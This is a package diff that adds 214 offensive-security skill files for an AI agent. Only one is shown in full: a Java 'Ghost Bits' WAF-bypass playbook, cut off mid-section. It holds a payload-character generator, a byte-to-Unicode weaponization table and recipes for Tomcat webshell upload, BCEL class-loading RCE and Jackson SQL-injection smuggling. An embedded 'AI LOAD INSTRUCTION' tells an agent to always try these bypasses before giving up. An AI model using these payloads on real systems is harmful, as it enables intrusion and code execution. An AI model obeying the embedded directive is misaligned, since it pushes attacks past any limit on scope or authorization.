ineedcodes 1.6.0 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +47 -11
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,799 @@
1
+ ---
2
+ name: ghost-bits-cast-attack
3
+ description: >-
4
+ Java "Ghost Bits" / Cast Attack playbook (Black Hat Asia 2026). Use when
5
+ attacking Java services where 16-bit char is silently narrowed to 8-bit byte
6
+ to bypass WAF/IDS for SQL injection, deserialization RCE, file upload
7
+ (Webshell), path traversal, CRLF injection, request smuggling, and SMTP
8
+ injection. Affects Tomcat, Spring, Jetty, Undertow, Vert.x, Jackson,
9
+ Fastjson, Apache Commons BCEL, Apache HttpClient, Angus Mail, JDK
10
+ HttpServer, Lettuce, Jodd, XMLWriter and re-enables many "patched" CVEs
11
+ through WAF bypass.gated: true
12
+ ---
13
+
14
+ # SKILL: Ghost Bits / Cast Attack — Java char to byte Narrowing Playbook
15
+
16
+ > **AI LOAD INSTRUCTION**: This is a Java-only injection-enabling primitive,
17
+ > not a standalone vulnerability class. Whenever you see (1) a Java backend,
18
+ > (2) a WAF/IDS in front of it, and (3) any of {SQLi, deser RCE, file upload,
19
+ > path traversal, CRLF, request smuggling, SMTP injection} on the menu, ALWAYS
20
+ > try Ghost Bits variants of the payload before declaring it "blocked". The
21
+ > root cause is the silent loss of the high 8 bits when Java code narrows a
22
+ > 16-bit `char` to an 8-bit `byte` — the WAF sees a harmless Unicode
23
+ > character, the backend reconstructs the original ASCII attack byte. Base
24
+ > models almost never reach for this primitive.
25
+ >
26
+ > Source: Black Hat Asia 2026 talk *Cast Attack: A New Threat Posed by Ghost
27
+ > Bits in Java* by Xinyu Bai (@b1u3r), Zhihui Chen (@1ue), with contributor
28
+ > Zongzheng Zheng (@chun_springX).
29
+
30
+ ## 0. RELATED ROUTING
31
+
32
+ Ghost Bits is a *bypass* primitive that re-enables payloads from many other
33
+ playbooks. Pair it with whichever attack family applies:
34
+
35
+ - [waf-bypass-techniques](../waf-bypass-techniques/SKILL.md) — when a Java
36
+ backend is suspected and WAF rules block the literal payload, this is the
37
+ first technique to try beyond classic encoding.
38
+ - [deserialization-insecure](../deserialization-insecure/SKILL.md) — for
39
+ Apache Commons BCEL ClassLoader and Fastjson `\u`/`\x` escape variants.
40
+ - [path-traversal-lfi](../path-traversal-lfi/SKILL.md) — Spring, Jetty,
41
+ Undertow, Vert.x URL decoding and `%2>` hex folding.
42
+ - [upload-insecure-files](../upload-insecure-files/SKILL.md) — Tomcat
43
+ `RFC2231Utility` `filename*` Webshell upload.
44
+ - [request-smuggling](../request-smuggling/SKILL.md) — Apache HttpClient
45
+ `<= 4.5.9` (HTTPCLIENT-1974/1978) header CRLF.
46
+ - [crlf-injection](../crlf-injection/SKILL.md) — Angus Mail / Jakarta Mail
47
+ SMTP injection and JDK HttpServer response splitting.
48
+ - [sqli-sql-injection](../sqli-sql-injection/SKILL.md) — Jackson `charToHex`
49
+ table-lookup truncation hides SQL keywords inside Unicode escapes.
50
+
51
+ ### Advanced Reference
52
+
53
+ Load [PAYLOAD_COOKBOOK.md](./PAYLOAD_COOKBOOK.md) when you need:
54
+
55
+ - Full byte-to-Ghost-character lookup table covering every printable ASCII
56
+ byte 0x20–0x7E and the most useful control bytes (0x00, 0x09, 0x0A, 0x0D).
57
+ - Per-component affected version matrix and patch identifiers.
58
+ - Yaklang and Python one-liner payload generators (for `poc.HTTP`,
59
+ `codec.Encode`, raw socket).
60
+ - "Multi-view normalization engine" pseudocode for blue-team WAF detection.
61
+
62
+ ---
63
+
64
+ ## 1. ONE-MINUTE MENTAL MODEL
65
+
66
+ Java's `char` is a **16-bit** unsigned integer (UTF-16 code unit). Almost
67
+ every wire protocol — HTTP/1.1, SMTP, Redis RESP, file paths, raw byte
68
+ streams — is **8-bit** byte oriented. The right way to bridge them is
69
+ explicit charset encoding:
70
+
71
+ ```
72
+ // Correct: explicit UTF-8, multi-byte chars become multi-byte sequences
73
+ byte[] bytes = str.getBytes(StandardCharsets.UTF_8);
74
+ out.write(bytes);
75
+ ```
76
+
77
+ Tons of legacy code, framework internals, and "fast path" optimizations skip
78
+ this and silently narrow:
79
+
80
+ ```
81
+ // Dangerous: high 8 bits silently dropped
82
+ byte b = (byte) ch; // 0x966A -> 0x6A
83
+ out.write(ch); // ByteArrayOutputStream.write(int) keeps low 8 bits
84
+ dos.writeBytes(str); // DataOutputStream loops char->byte cast
85
+ int v = ch & 0xFF; // explicit low-byte mask
86
+ ```
87
+
88
+ The lost high 8 bits are the **Ghost Bits**. They turn a multi-byte
89
+ Unicode character into a single attacker-chosen ASCII byte at the protocol
90
+ layer.
91
+
92
+ ```
93
+ View A (string layer: WAF / business validation / logs)
94
+ sees: 陪 阮 严 灵 瘍 瘊 ... "harmless Unicode garbage, allow"
95
+ |
96
+ v silent narrowing somewhere in the call stack
97
+ View B (byte layer: protocol / file system / parser / class loader)
98
+ sees: j . % u \r \n ... "executes the dangerous semantics"
99
+
100
+ The boundary is breached at the exact moment "view A" and "view B" disagree.
101
+ ```
102
+
103
+ Mathematical formulation: to make View B see byte `T`, pick any
104
+ `k in 0x01..0xFF` and use:
105
+
106
+ ```
107
+ c = chr((k << 8) | T)
108
+ ```
109
+
110
+ That gives you **255 candidate Unicode characters per dangerous byte** —
111
+ plenty of room to dodge any signature-based blacklist.
112
+
113
+ ---
114
+
115
+ ## 2. THREE ROOT-CAUSE FAMILIES
116
+
117
+ The Ghost Bits umbrella covers three distinct underlying bugs. Distinguishing
118
+ them tells you both *which payload shape* to send and *what to grep for* in
119
+ source.
120
+
121
+ ### Family A — Real high-bit truncation (classic Ghost Bits)
122
+
123
+ The narrowing is literal and unconditional.
124
+
125
+ ```java
126
+ // Pattern A1: explicit cast
127
+ byte b = (byte) ch;
128
+
129
+ // Pattern A2: bitwise mask
130
+ int v = ch & 0xFF;
131
+ int v = ch & 255;
132
+
133
+ // Pattern A3: OutputStream.write(int) keeps low 8 bits only
134
+ out.write(ch);
135
+ baos.write(ch);
136
+
137
+ // Pattern A4: DataOutputStream.writeBytes(String) iterates chars,
138
+ // writing low byte of each
139
+ dos.writeBytes(str);
140
+
141
+ // Pattern A5: deprecated APIs that still exist in old code
142
+ String.getBytes(int srcBegin, int srcEnd, byte[] dst, int dstBegin);
143
+ new StringBufferInputStream(str);
144
+ raf.writeBytes(str);
145
+ ```
146
+
147
+ Typical impact: Tomcat `filename*`, Apache BCEL ClassLoader, Lettuce Redis
148
+ writer, SMTP CRLF in Angus Mail, HTTPCLIENT-1974 header injection.
149
+
150
+ ### Family B — Bit-arithmetic folding (illegal char becomes legal)
151
+
152
+ A "fast" hex / base64 / charset decoder uses bit tricks instead of strict
153
+ range checks, so an illegal character collapses onto a legal one.
154
+
155
+ ```java
156
+ // Jetty TypeUtil.fromHexDigit (simplified)
157
+ private static int fromHexDigit(char c) {
158
+ int x = c & 0x1F; // keep low 5 bits
159
+ x += (c >> 6) * 25;
160
+ x -= 16;
161
+ return x; // expected 0..15, but no range check
162
+ }
163
+ ```
164
+
165
+ Worked example: feed `>` (0x3E):
166
+
167
+ ```
168
+ 0x3E & 0x1F = 0x1E = 30
169
+ (0x3E >> 6) * 25 = 0
170
+ 30 + 0 - 16 = 14 = 0xE
171
+ ```
172
+
173
+ So `%2>` is silently parsed as `%2E` = `.`. The same algebra makes `%2^`,
174
+ `%2~` etc. equivalent to other hex digits.
175
+
176
+ Typical impact: Openfire CVE-2023-32315, GeoServer CVE-2024-36401, generic
177
+ URL-decode WAF bypass.
178
+
179
+ ### Family C — Lax Unicode normalization
180
+
181
+ The decoder accepts Unicode characters that happen to be classified as
182
+ "digit" or that map to a hex value via a `& 0xFF` lookup — even though they
183
+ were never meant to participate in protocol parsing.
184
+
185
+ ```java
186
+ // Fastjson: too permissive
187
+ Character.digit(c, 16); // accepts Thai, Punjabi, fullwidth digits
188
+
189
+ // Jackson: index by low 8 bits into an ASCII-only table
190
+ return sHexValues[ch & 0xff];
191
+
192
+ // Generic: fullwidth normalization
193
+ // '2' (U+FF12) -> '2', 'e' (U+FF45) -> 'e'
194
+ ```
195
+
196
+ Typical impact: Fastjson `\u` and `\x` escape bypass, fullwidth URL-encoded
197
+ path traversal, Jackson `charToHex` SQLi smuggling.
198
+
199
+ ---
200
+
201
+ ## 3. CHARACTER GENERATOR
202
+
203
+ Build any Ghost Bits character on the fly. This is the single function every
204
+ agent should keep in mind:
205
+
206
+ ```python
207
+ # Python
208
+ def ghost(target_byte: int, k: int = 1) -> str:
209
+ """Return a Unicode char whose low 8 bits equal target_byte."""
210
+ return chr(((k & 0xFF) << 8) | (target_byte & 0xFF))
211
+
212
+ # 255 candidates per byte, e.g. for '.' (0x2E):
213
+ candidates = [ghost(0x2E, k) for k in range(1, 256)]
214
+ # 阮(U+962E), Ⱦ?-prefixed-..., etc.
215
+ ```
216
+
217
+ ```yak
218
+ // Yaklang (for poc.HTTP / fuzz)
219
+ func ghost(targetByte, k) {
220
+ return string(rune(((k & 0xFF) << 8) | (targetByte & 0xFF)))
221
+ }
222
+ ghostJ = ghost(0x6A, 0x96) // returns "陪"
223
+ ```
224
+
225
+ Selection guidance:
226
+
227
+ - Avoid surrogate range `0xD800..0xDFFF` (high byte 0xD8..0xDF) — those are
228
+ not valid scalar values and will be replaced by the JVM string decoder
229
+ before reaching the narrowing site, defeating the bypass.
230
+ - Prefer characters that survive the application's own charset round-trip
231
+ (Latin-Extended, CJK Unified Ideographs, Enclosed CJK Letters and Months,
232
+ Hangul). If the request body uses UTF-8, these all encode cleanly into
233
+ multi-byte sequences that no WAF rule recognizes as `.`, `/`, `j`, etc.
234
+ - Rotate `k` between requests so signature based learning cannot pin a single
235
+ character to a single attack.
236
+
237
+ ---
238
+
239
+ ## 4. DANGEROUS-BYTE TO GHOST-CHARACTER MAP
240
+
241
+ Compact red-team weaponization table. For every byte the attacker actually
242
+ needs, one verified Unicode char is given; substitute another `k` if the WAF
243
+ later learns the example.
244
+
245
+ | Target byte | Hex | Used for | Ghost char | Code point |
246
+ |-------------|------|---------------------------------------|------------|------------|
247
+ | `\t` | 0x09 | header folding, parser confusion | `ĉ` | U+0109 |
248
+ | `\n` | 0x0A | CRLF injection, log injection | `瘊` | U+760A |
249
+ | `\r` | 0x0D | CRLF injection, request smuggling | `瘍` | U+760D |
250
+ | ` ` | 0x20 | header break, command separator | `Ġ` | U+0120 |
251
+ | `"` | 0x22 | string break in JSON / quoted-printable | `Ģ` | U+0122 |
252
+ | `%` | 0x25 | URL encoding prefix, second decode | `严` | U+4E25 |
253
+ | `&` | 0x26 | parameter separator | `Ȧ` | U+0226 |
254
+ | `'` | 0x27 | SQL string break | `ȧ` | U+0227 |
255
+ | `(` | 0x28 | EL/SpEL/OGNL syntax | `Ȩ` | U+0228 |
256
+ | `)` | 0x29 | EL/SpEL/OGNL syntax | `ȩ` | U+0229 |
257
+ | `.` | 0x2E | path traversal, extension | `阮` | U+962E |
258
+ | `/` | 0x2F | path separator | `丯` | U+4E2F |
259
+ | `0` | 0x30 | hex digit construction | `丰` | U+4E30 |
260
+ | `1` | 0x31 | hex digit construction | `失` | U+5931 |
261
+ | `2` | 0x32 | hex digit construction | `甲` | U+7532 |
262
+ | `3` | 0x33 | hex digit construction | `耳` | U+8033 |
263
+ | `;` | 0x3B | command separator, header continuation | `Ȼ` | U+023B |
264
+ | `<` | 0x3C | XSS / XML tag start | `ȼ` | U+023C |
265
+ | `=` | 0x3D | parameter / header value | `Ƚ` | U+023D |
266
+ | `>` | 0x3E | XSS / XML tag end | `Ⱦ` | U+023E |
267
+ | `@` | 0x40 | Fastjson `@type`, mail address | `ŀ` | U+0140 |
268
+ | `a` | 0x61 | keyword `class`, alphabet | `ᙡ` | U+1661 |
269
+ | `c` | 0x63 | keyword `class`, `cmd` | `㹣` | U+3E63 |
270
+ | `e` | 0x65 | hex digit | `来` | U+6765 |
271
+ | `j` | 0x6A | extension `.jsp` | `陪` | U+966A |
272
+ | `l` | 0x6C | keyword `class`, `closure` | `౬` | U+0C6C |
273
+ | `n` | 0x6E | keyword `Runtime`, `union` | `陮` | U+966E |
274
+ | `s` | 0x73 | keyword `class`, `select` | `⑳` | U+2473 |
275
+ | `t` | 0x74 | keyword `Runtime`, `type` | `Ŵ` | U+0174 |
276
+ | `u` | 0x75 | `\u` escape introducer | `灵` | U+7075 |
277
+
278
+ Workflow tip: keep the ASCII `Ŀ`, `ȧ`, `ȼ`, etc. variants for tight HTTP
279
+ header contexts (one byte UTF-8 expansion stays smaller); use CJK like `阮`,
280
+ `陪`, `严` when you want to bias the WAF "this is just text" classifier.
281
+
282
+ ---
283
+
284
+ ## 5. PER-COMPONENT PAYLOAD RECIPES
285
+
286
+ Every recipe shows the dual view: what the WAF inspects vs. what the backend
287
+ actually executes. This is the only reliable way to explain *why* the payload
288
+ goes through.
289
+
290
+ ### 5.1 Tomcat `RFC2231Utility` — file upload Webshell (Family A)
291
+
292
+ Trigger: any endpoint that accepts multipart upload and Tomcat parses
293
+ `Content-Disposition: ... filename*=UTF-8''...`. Tomcat's RFC2231 decoder
294
+ casts each non-percent character directly to byte, dropping the high 8 bits.
295
+
296
+ Payload:
297
+
298
+ ```
299
+ Content-Disposition: attachment; filename*=UTF-8''1.陪sp
300
+ ```
301
+
302
+ | Stage | Filename it sees |
303
+ |------------------------|--------------------------|
304
+ | WAF / extension filter | `1.陪sp` (not `.jsp`, allow) |
305
+ | Tomcat RFC2231 decoder | `陪` -> low byte 0x6A -> `j` |
306
+ | File system | `1.jsp` |
307
+
308
+ Combine with traversal characters from section 4 (`阮`, `丯`) when the upload
309
+ target directory is fixed but the application accepts a `filename*`.
310
+
311
+ ### 5.2 Apache Commons BCEL — ClassLoader RCE (Family A)
312
+
313
+ Trigger: any sink that resolves a class name through `BCEL` (`$$BCEL$$...`)
314
+ or any code that decodes BCEL via the `JavaReader` -> `ByteArrayOutputStream`
315
+ loop.
316
+
317
+ Vulnerable shape:
318
+
319
+ ```java
320
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
321
+ JavaReader jr = new JavaReader(new CharArrayReader(userChars));
322
+ while ((ch = jr.read()) >= 0) {
323
+ bos.write(ch); // low 8 bits only
324
+ }
325
+ ```
326
+
327
+ Attack: wrap each byte of the malicious BCEL bytecode into a Unicode
328
+ character whose low 8 bits equal that byte. The decoded byte stream is a
329
+ valid BCEL class; the WAF sees a long blob of CJK text without `$$BCEL$$`
330
+ keywords or class signatures.
331
+
332
+ | View | Content |
333
+ |------|---------|
334
+ | WAF | `$$BCEL$$` followed by random looking CJK |
335
+ | BCEL | standard BCEL class file bytes → JVM defineClass → RCE |
336
+
337
+ Defense for blue team: a WAF inspecting BCEL must replicate the
338
+ `bos.write(ch)` semantics on each character before pattern matching.
339
+
340
+ ### 5.3 Jackson `charToHex` — SQLi smuggling (Family C)
341
+
342
+ Trigger: any Jackson-parsed JSON field whose value is later embedded in SQL
343
+ or another parser. Jackson resolves `\uXXXX` digits via:
344
+
345
+ ```java
346
+ private static final int[] sHexValues = new int[128];
347
+ public static int charToHex(int ch) {
348
+ return sHexValues[ch & 0xFF]; // mask first, lookup second
349
+ }
350
+ ```
351
+
352
+ Any non-ASCII character whose low 8 bits land on a populated index returns
353
+ that hex digit. The WAF sees gibberish; Jackson reconstructs an ASCII payload.
354
+
355
+ Payload (smuggle the digit `1` for a UNION column count):
356
